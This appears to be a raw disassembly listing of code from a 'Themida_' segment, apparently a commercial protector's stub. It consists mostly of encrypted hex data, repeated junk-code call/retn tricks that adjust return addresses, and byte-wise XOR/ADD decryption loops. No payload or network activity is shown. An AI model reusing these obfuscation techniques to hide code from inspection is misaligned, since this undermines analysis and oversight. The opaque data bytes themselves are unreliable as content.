1369EB81h, 0EE8h, 0C6FDDA00h dd 2FE84259h, 0C8A27C08h, 0E9D139C3h, 0Ah, 0B0140F78h dd 86124D8Ah, 0D5F9598h, 88h, 12E8h, 5196D300h, 2DEA8F77h dd 3E187B25h, 0F566CA3Ah, 5B4EE076h, 9F5958Bh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0BE10AC3h, 0BB561CA9h, 1E9066D0h, 23198D8Bh, 8B500610h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 1D059D8Bh dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 477916C3h, 81B81178h, 2E4F78CBh, 29BD831Ch dd 6101Eh, 67840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B4656C3h, 0B8F9h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 404DA0C3h, 0DD1F8D71h, 0D1BD8B0Ch, 8D061006h, 104E858Dh dd 39CB8006h, 0FFDEB70Fh, 7E9E1h, 0BD030000h, 33562A1Ch dd 0C1BD8357h, 61022h, 44B840Fh, 12E90000h, 69000000h dd 605027B5h, 27E5A789h, 489E9DC0h, 6CBA4ABCh, 0C1BD83BFh dd 1061022h, 442840Fh, 0BD830000h, 61022C1h, 0FF860F03h dd 80000003h, 6660CFEFh, 668010BBh, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 75A08C3h dd 440887BAh, 60B18FA4h, 12B58589h, 81660610h, 6136BACAh dd 0AF67BB66h, 6A04E180h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0CE46C356h, 0C90A5F51h dd 10C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 9D899DC3h, 61015B1h, 2185858Bh dd 0F3810610h, 137969EEh, 11FD8533h, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1A31CFC3h dd 5B76BE4Fh, 0EE8E7h, 46C90000h, 7FC2583Eh, 0B2252A85h dd 9A837A10h, 5B99D03h, 505F0610h, 66525051h, 0F7F5FBFh dd 489ABF31h, 585A336Fh, 2404895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0DEC35141h, 0B718EAC0h, 7E4BF9BFh dd 358D8908h, 6A061006h, 0F19D8B00h, 68061007h, 5369D128h dd 3481F98Bh, 76D2D724h, 576DBF53h, 95FF010Ah, 61005D5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0C8C35545h dd 0BD1157AEh, 4BC78192h, 893D3B99h, 13C26D85h, 41BD8B06h dd 0E906102Fh, 224h, 858B7AB7h, 613C265h, 13919D8Bh, 0C70610h dd 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h dd 2DC35747h, 8045DCB4h, 0D9BD2320h, 8B061018h, 13C269B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0D375DC04h, 0F0DBD8Bh, 0BD8B0610h, 610062Dh dd 0E25858Bh, 0D3810610h, 471C4BF7h, 68C0Fh, 0BD8B0000h dd 6102A01h, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 4F709C3h, 0F2262692h, 8B60973Bh dd 1000458Dh, 2D8D8906h, 61061014h, 2185858Bh, 0C4B30610h dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0DBFC350h, 5560ACDCh, 0FB4B34C3h dd 27859D2Bh, 8B660610h, 8F0F50F9h, 17h, 0AE95250h, 9B000000h dd 0E2D1D925h, 0FDEABFF2h, 53310F56h, 89585A5Fh, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 507F27C3h, 2B346328h, 10E9h, 0B31B9100h, 0EEDAD0D8h dd 0C700ABE8h, 0B0133577h, 65B5FF73h, 0E90613C2h, 0Bh dd 0DE589A63h, 0BA1337B4h, 689A4CBBh, 0CAA0FC78h, 10E8h dd 0D1B45000h, 0AFA577B7h, 0C6E863BCh, 46FD5ADEh, 0DE8AAh dd 14B70000h, 0DA5A7D38h, 9EE942E0h, 5284ABFCh, 815F5B5Fh dd 7872404h, 0BD8B357Eh, 6100FD9h, 0C26D858Dh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B529ACC3h, 6100715h, 8B525050h, 66310FDFh, 585AFA8Bh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E5ACC351h, 143DBD33h, 0BD2B0610h dd 6100D6Dh, 5D595FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD296EC3h, 6101E2Dh dd 0ADBD8B61h, 0C7061013h, 1022C185h, 306h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66AA5E34h, 1E51F781h, 0BD83FE8Bh, 613C26Dh, 23840F00h dd 8B000000h, 37E9F9h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 305028C3h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F99D8BC0h dd 6A061005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 8A3BC355h, 0F63C3566h, 8E0F162Fh dd 8, 2850Fh, 5F510000h, 22C1BD83h, 0F030610h, 41485h dd 81665700h, 5F8C3ACFh, 0C26DBD83h, 0F000613h, 40084h dd 39B58900h, 8B06102Dh, 6DB5FFD9h, 6A0613C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B924C352h, 0BD8B7CEDh, 6102D6Dh, 2FA595FFh, 6A0610h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5C6C91C3h, 9112E653h, 332D9D09h, 45BF0610h, 8B499225h dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0B2AE3DBFh, 66DA2ABh, 0BD09DF8Bh dd 6102825h, 106C7h, 0E7810001h, 5E9EC797h, 1EB5BD8Bh dd 89500610h, 8B662434h, 6E9DEh, 697D0000h, 650D3E75h dd 0C26DB5FFh, 95890613h, 6100461h, 0BE9h, 39EC4A00h, 6E35C8B4h dd 611CE263h, 122595FFh, 8F0F0610h, 6, 30719501h, 0B58B0610h dd 613C261h, 8BD9B70Fh, 1021D185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DDCB80AFh dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 64A200C3h, 6732CB81h, 9D8B24A2h dd 6103041h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0FE8E05C3h, 8B60551Eh dd 0AE9D3h, 828B0000h, 2B44AD19h, 1AD7C37Eh, 4C28361h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 37C35242h dd 89F8BF0Fh, 0FB8B2050h, 0D7C2858Dh, 6A0613h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0A83C07C3h, 8166B9E1h, 89BDE5CBh, 0B886h, 6D9D8900h dd 6A061009h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 44E1ED7Ch, 6DB5FFF9h, 6A0613C2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0FB23C350h, 0E9E4105Ch, 10h, 0B00F54D3h dd 43D28A3Fh, 86C5B89Ah, 41B6449h, 49595FFh, 0BE90610h dd 0A6000000h, 2D85A800h, 6D9D89C6h, 5250D827h, 66616060h dd 5F61FA8Bh, 89243489h, 101DC9BDh, 6DB5FF06h, 6A0613C2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 3B92C351h, 31C59501h, 95FF0610h, 610162Dh dd 1C19D8Bh, 0BD830610h, 6101351h, 33840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0E6E1C351h, 5DA4A2C0h, 8EBF6696h, 0BBBB500Ah dd 9672C93Dh, 6D9BD29h, 0B5FF0610h, 613C26Dh, 0AAEF8160h dd 61754052h, 0C1995FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 66CC3DC3h, 0A71A9957h dd 0E8F0F3Ch, 60000000h, 820Fh, 830F0000h, 0 ; --------------------------------------------------------------------------- popa push dword ptr [ebp+613C26Dh] push 0 push ebp call sub_59325E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59325E proc near ; CODE XREF: Themida_:00593256p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_59325E endp ; --------------------------------------------------------------------------- dw 99BDh ; --------------------------------------------------------------------------- mov al, ds:7A4D62E3h add edi, [ebp+610013Dh] call dword ptr [ebp+6101621h] push 0 push eax call sub_59328C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59328C proc near ; CODE XREF: Themida_:00593284p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59328C endp ; --------------------------------------------------------------------------- les ebp, [ebx] popf movsd or dl, [eax] push es sub [ebp+6101E9Dh], edi cmp dword ptr [ebp+6100F89h], 2 jz loc_593315 mov [ebp+6101929h], esi mov eax, [ebp+61010C5h] push 0 push esi call sub_5932CD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5932CD proc near ; CODE XREF: Themida_:005932C5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5932CD endp ; --------------------------------------------------------------------------- stc xchg eax, ebx or bl, [edi-42746E3Fh] lea esp, [ecx] adc [esi], al mov byte ptr [eax], 0 push 0 push esi call sub_5932F7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5932F7 proc near ; CODE XREF: Themida_:005932EFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5932F7 endp ; --------------------------------------------------------------------------- popf sbb [ebx+10241DBDh], ecx push es sub edi, [ebp+6102965h] loc_593315: ; CODE XREF: Themida_:005932B0j mov dword ptr [ebp+6102A25h], 0 jmp loc_593329 ; --------------------------------------------------------------------------- retf 0A454h ; --------------------------------------------------------------------------- db 5Fh db 2 ; --------------------------------------------------------------------------- loc_593329: ; CODE XREF: Themida_:0059331Fj jmp near ptr dword_59255C+183h ; --------------------------------------------------------------------------- mov bx, ax mov eax, ecx mov di, 0C426h lea eax, [ebp+61013B9h] push 0 push ebx call sub_593348 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593348 proc near ; CODE XREF: Themida_:00593340p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_593348 endp ; --------------------------------------------------------------------------- dd 0FBC05537h, 75E56D1Bh, 0FEBF0F62h, 7E990h, 17800000h dd 0F50F3F9Bh, 819050D5h, 39093BEFh, 0E9006A6Bh, 10h, 0D405909Ah dd 0ACB1D6BBh, 0B1950667h, 165F5851h, 960006Ah, 102A2DBDh dd 61EC8A06h, 0CE9h, 9952E00h, 5F5BCE70h, 0DA4E0E33h, 70858DFCh dd 9061480h, 1030A595h, 5C08306h, 1473DF81h, 60507050h dd 0E8B641B8h, 4896178h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0AE8AB86h, 0E7000000h dd 0DD975B86h, 0DC119474h, 0DF815BF0h ; --------------------------------------------------------------------------- loc_5933FC: ; DATA XREF: Themida_:0054BF84o adc eax, 6A7849F1h add [eax+6A53CBh], al or [ebp+6100B19h], ebx call dword ptr [ebp+6101D19h] add [ebp+6101049h], edi lea ecx, [ebp+613AFD8h] jmp loc_59342D ; --------------------------------------------------------------------------- dd 0EDF4F370h, 0AC2B62C9h db 0C1h ; --------------------------------------------------------------------------- loc_59342D: ; CODE XREF: Themida_:0059341Fj call ecx push 0 push edx call sub_59343A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59343A proc near ; CODE XREF: Themida_:00593432p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_59343A endp ; --------------------------------------------------------------------------- mov [ecx+4Fh], ah lahf cld pop edx loc_593450: ; CODE XREF: Themida_:00593482j inc ebx and al, dh xor [ebx+66h], dl mov edi, 835FE27Eh mov ebp, 6102209h add [edi], ecx test [eax+eax+0], esi add [edx+0], ch push ebx call sub_593472 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593472 proc near ; CODE XREF: Themida_:0059346Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_593472 endp ; --------------------------------------------------------------------------- jle short loc_593450 sbb [ebx-1A427427h], ecx add al, 10h push es push 2 push 0 push esi call sub_59349A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59349A proc near ; CODE XREF: Themida_:00593492p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_59349A endp ; --------------------------------------------------------------------------- sti retn ; --------------------------------------------------------------------------- inc edx sub ebx, [ebp+6102991h] or edi, 291A7363h push eax jmp loc_5934CB ; --------------------------------------------------------------------------- db 58h dd 3B7BFE35h, 2C28537Eh db 5Dh, 0FAh, 3Dh ; --------------------------------------------------------------------------- loc_5934CB: ; CODE XREF: Themida_:005934BAj mov [esp], eax mov edi, 1C4033F3h call dword ptr [ebp+6100495h] mov ebx, edx jmp loc_59426E ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 614807Ah mov [ebp+61018A1h], edi push 0 push ebp call sub_5934FD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5934FD proc near ; CODE XREF: Themida_:005934F5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5934FD endp ; --------------------------------------------------------------------------- db 3Eh, 0A0h, 1Eh dd 0D01DF5C7h, 0C9CDBF66h, 99B6858Dh, 890F0613h, 2, 0BF50DE8Bh dd 0D5EDBC5h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F30FC353h, 12E08A65h dd 0E9F98B66h, 0Ch, 0C680FB67h, 0E4009226h, 6B0A9712h dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 6789C350h, 9615C4DDh dd 0CD9D8BF3h, 64061005h, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 667AEDC3h dd 0FF13D7BFh, 10141985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C65EB8BDh dd 0FF6A9E64h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0CDC35545h, 6B8D8548h, 9E88Eh, 0CD5B0000h, 3C09890Ah dd 5F3E3A4Ah, 6840Fh, 8D890000h, 6102779h, 0BB9B5FFh, 6A0610h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 7313BEC3h, 0D74A33DBh, 2985BD0Bh, 95FF0610h, 6100615h dd 108E9h, 0F7816600h, 0B06F2Ch, 53B770E6h, 26B371E4h dd 830F613Ch, 0F1h, 1B119D8Bh, 0B60F0610h, 7E9C8h, 58DA0000h dd 0F720CF1Eh, 6BAE5h, 0BB660000h, 8BFCC254h, 75BF66C1h dd 4E8C161h, 22999D89h, 0F7660610h, 0AE9E2h, 0D9860000h dd 7EE54CFCh, 0B87382D5h, 9589C82Bh, 6101B11h, 8B60D18Bh dd 1005CD9Dh, 0DE906h, 0D6200000h, 2B7811B8h, 46F64562h dd 61E7F49Dh, 12E9h, 0C8E0F00h, 0F000000h, 68Eh, 39BD8B00h dd 8B061007h, 1010B585h, 0C083FC06h, 0C08307h, 9E8h, 0EA4A0C00h dd 0EEC590DAh, 9D8B9EA1h, 6101CE1h, 0B99D895Bh, 3B061023h dd 0B830FD0h, 80000000h, 3EE990EFh, 66000000h, 8D8BFA8Bh dd 6102AB1h, 935BD2Bh, 0E1830610h, 26840F01h, 8A000000h dd 0B1A583D9h, 0FE06102Ah, 9589E7B3h, 61010B5h, 0BE9h dd 0FC695200h, 0E93CD67Ch, 64844FC0h, 0E9h, 3AB58D00h dd 0F06140Ah, 0F84h, 0AE900h, 0D3300000h, 0C884030Bh, 0FDD03165h dd 12E8006Ah, 0D6000000h, 183391D3h, 5F6FE686h, 706EF0E7h dd 372EA93Dh, 7DDF815Dh, 5F0BE9FDh, 31C995FFh, 81660610h dd 0B999D3CFh, 7E4h, 0E860Fh, 9E90000h, 49000000h, 811541FAh dd 88381987h, 10799D8Bh, 0E1830610h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 65F849A2h dd 0F821921h, 1850Fh, 0E9F90000h, 10h, 0AAD83D59h, 5712A469h dd 0EC5CD7E5h, 0DBBA334Bh, 559D89FCh, 0B8061001h, 0 ; --------------------------------------------------------------------------- mov [ebp+610307Dh], esi mov edx, 0 push 0 push ebx call sub_59382A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59382A proc near ; CODE XREF: Themida_:00593822p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_59382A endp ; --------------------------------------------------------------------------- dw 0CD97h dd 0CFC3368Eh, 9D8B19FFh, 6101575h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 50006AF9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 45622B78h, 0F49D46F6h dd 9D038FE7h, 6100A31h, 11A59D8Bh, 880D0610h, 9000000h dd 102EF98Dh, 0F5958B06h, 6A061009h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B32C356h dd 1023198Dh, 8BFE8B06h, 102EE59Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A76E8BBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 39BDC355h, 0D496FC7Bh, 892EE9B2h, 1019F18Dh, 29BD8306h dd 6101Eh, 44840Fh, 0DB810000h, 51FC0003h, 0B8F98B66h dd 0 ; --------------------------------------------------------------------------- mov [ebp+61013F1h], esi lea ecx, [ebp+6104E85h] push 0 push ebx call sub_593933 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593933 proc near ; CODE XREF: Themida_:0059392Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_593933 endp ; --------------------------------------------------------------------------- daa sub bl, 0Eh movsx edi, di jmp ecx ; --------------------------------------------------------------------------- xor [ebp+61011C5h], esi cmp dword ptr [ebp+61022C1h], 0 jz loc_593E0E push 0 push edi call sub_59396A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59396A proc near ; CODE XREF: Themida_:00593962p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_59396A endp ; --------------------------------------------------------------------------- cmpsb sub bx, 4B88h cmp dword ptr [ebp+61022C1h], 1 jz loc_593E29 add [ebp+61031B9h], edx cmp dword ptr [ebp+61022C1h], 3 jbe loc_593DF3 pusha push 0 push esi call sub_5939AC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5939AC proc near ; CODE XREF: Themida_:005939A4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5939AC endp ; --------------------------------------------------------------------------- cmpsb mov esp, 1F546308h pop edx mov edi, [ebp+6101909h] mov cx, ds clc and cl, 4 push 0 push ecx call sub_5939DB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5939DB proc near ; CODE XREF: Themida_:005939D3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5939DB endp ; --------------------------------------------------------------------------- db 5Ah dd 0A37C2E0h, 34840FC9h, 0E8000001h, 0Bh, 0C9482112h, 954DDFB7h dd 899CEFB6h, 101DC1B5h, 858B5F06h, 6102185h, 12E9h, 0B2130F00h dd 6E1C211Eh, 1D1370E4h, 37BBA32Eh, 33A57660h, 1011FD85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0CB6A0AB4h, 0E950B6B3h, 5, 71325AE5h, 240489EFh dd 0D618589h, 6A0610h, 1BB99D33h, 4E80610h, 0FF000000h dd 50001F03h, 448BF88Bh, 2BBF0424h, 8B5A89ABh, 9E900h dd 0F19E0000h, 5C4EB8CDh, 89695375h, 0F042444h, 0B89h dd 60525000h, 66310F61h, 585ADA8Bh, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 74739E56h dd 0A2B22F52h, 193DBD33h, 95FF0610h, 61005D5h, 8589D8B3h dd 613C26Dh, 0D5958952h, 5F061007h, 276E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0AD435BD2h, 0C7816656h, 9D8BF80Dh, 61009E5h, 8E8h, 20FD2400h dd 899A9A15h, 0D680BB79h, 8B5B2D0Ch, 13C26585h, 0CB816606h dd 0C774FFh, 18h, 8BF98B66h, 13C269B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 895C6C91h, 100B1585h, 0EE906h, 0B3590000h, 6E8B7196h dd 76E494D9h, 26B26B71h, 0E25858Bh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B33CA0C3h dd 0AEDB8166h, 6A068933h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 54A0C350h, 666F941Ah dd 9C48D381h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B59AFEC3h, 95FCD08Ah dd 89FC2CAFh, 0E3800446h, 52505059h, 310FF88Bh, 89BB5250h dd 0F1236CFh, 8E0F31h, 5A000000h, 89585A58h, 6A2434h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 656761C3h, 99F06836h, 0ABFD6DDh, 0F624D80h, 0C8Bh, 6860F00h dd 8B000000h, 10227DBDh, 65B5FF06h, 6A0613C2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D69EC355h, 93476ADEh, 0B589B0D8h, 6101AB1h, 9C783068h dd 7E9601Ch, 65000000h, 216B7E03h, 8161A567h, 7BCF2434h dd 6A1C83h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 293C9AC3h, 1011AD85h, 6D858D06h, 6A0613C2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0E840C351h, 0B7CB113Dh, 600879C1h, 1F3DBD8Bh dd 0BD890610h, 6101219h, 0BF509061h, 23518F9Dh, 66606090h dd 90E8D981h, 14B19D8Bh, 0F610610h, 386h, 0C8D08000h, 0D595FF61h dd 6A061005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0A080C350h, 810E9CC0h, 0E8F8BF0Fh dd 14h, 5B4148A9h, 0DC8896A8h, 2771FAD9h, 329C64ECh, 69D98DD3h dd 135D9D8Bh, 615B0610h, 8E8h, 0FEB8DD00h, 0F74B9000h dd 959D8BA6h, 5B061005h, 22C185C7h, 30610h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0AE33FFC3h, 0E556C488h, 0F98D29A0h, 0F9061005h, 0C26DBD83h dd 0F000613h, 3A84h, 5E900h, 9330000h, 0E9B02BB6h, 46h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 56C35040h dd 0FDAE448h, 68Ch, 99D0300h db 2Dh, 10h, 6 ; --------------------------------------------------------------------------- loc_593DF3: ; CODE XREF: Themida_:0059399Aj ; Themida_:00593E0Aj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_593DF3 jmp short loc_593E44 ; --------------------------------------------------------------------------- loc_593E0E: ; CODE XREF: Themida_:00593959j ; Themida_:00593E25j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_593E0E jmp short loc_593E44 ; --------------------------------------------------------------------------- loc_593E29: ; CODE XREF: Themida_:00593987j ; Themida_:00593E40j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_593E29 jmp short $+2 loc_593E44: ; CODE XREF: Themida_:00593E0Cj ; Themida_:00593E27j mov eax, eax push 0 push ebp call sub_593E51 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593E51 proc near ; CODE XREF: Themida_:00593E49p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_593E51 endp ; --------------------------------------------------------------------------- db 7Ah, 44h, 60h dd 8E8F78Bh, 46000000h, 0FC70800h, 9A2DD8Dh, 1023E195h dd 83615F06h, 1022C1BDh, 850F0306h, 39Ch, 0C26DBD83h, 0F000613h dd 38F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BB6666FCh, 0BD8B7733h, 61021F1h dd 0D3D38166h, 6DB5FF6Ch, 10613C2h, 10139D9Dh, 0DF816606h dd 95FFE2D8h, 6102FA5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 3C35141h, 89DB03B0h, 10024D8Dh, 8BF98B06h dd 13C261B5h, 0A7B75206h, 106C75Fh, 6A000100h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 9156C350h, 599D8B58h, 8B06100Fh, 102D35BDh, 66579606h dd 5B5771BBh, 52506050h, 310F5250h, 310F585Ah, 810Fh, 585A0000h dd 28C0Fh, 0EBB50000h, 6A9661h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0E5F59FC3h, 8529334Dh dd 6102DE1h, 9787BB66h, 0C26DB5FFh, 9D0B0613h, 6101CEDh dd 122595FFh, 95090610h, 610137Dh, 0C261B58Bh, 8D890613h dd 6102809h, 21D1858Bh, 0BD8B0610h, 6102FC1h, 0C48689h dd 890F0000h, 6, 8898509h, 958B0610h, 61009F5h, 1CA58529h dd 0C2830610h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 201DC5C9h, 3CDB8175h dd 89198376h, 858D2050h, 613D7C2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 2BC35646h, 0F55973F9h, 0B99D8B7Fh dd 89061011h, 0B886h, 6A006A00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 2D85C355h, 0F9D89C6h dd 68Fh, 0C1BD2900h, 0FF06102Dh, 13C26DB5h, 89BD8B06h dd 0FF061006h, 10049595h, 19BD2B06h, 5006102Dh, 89FA8B66h dd 860F2434h, 19h, 12E960h, 0FDA60000h, 0A080C5BAh, 810E9CC0h dd 95A09BCAh, 8608892Bh, 6DB5FF61h, 6A0613C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0EB75C352h, 8B425FE4h, 1011699Dh, 0B1BD8B06h, 0FF061009h dd 10162D95h, 51BD8306h, 61013h, 2B840Fh, 0C7800000h, 0F6BF5072h dd 895A6E84h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0D75D63C3h, 6DB5FF04h, 600613C2h dd 965BD89h, 0F0BF0610h, 617FCDCAh, 0C1995FFh, 95890610h dd 61030CDh, 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E4F2B9C3h, 6D5272C4h dd 0E8F537B6h, 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h dd 0FE9D2h, 2C000000h, 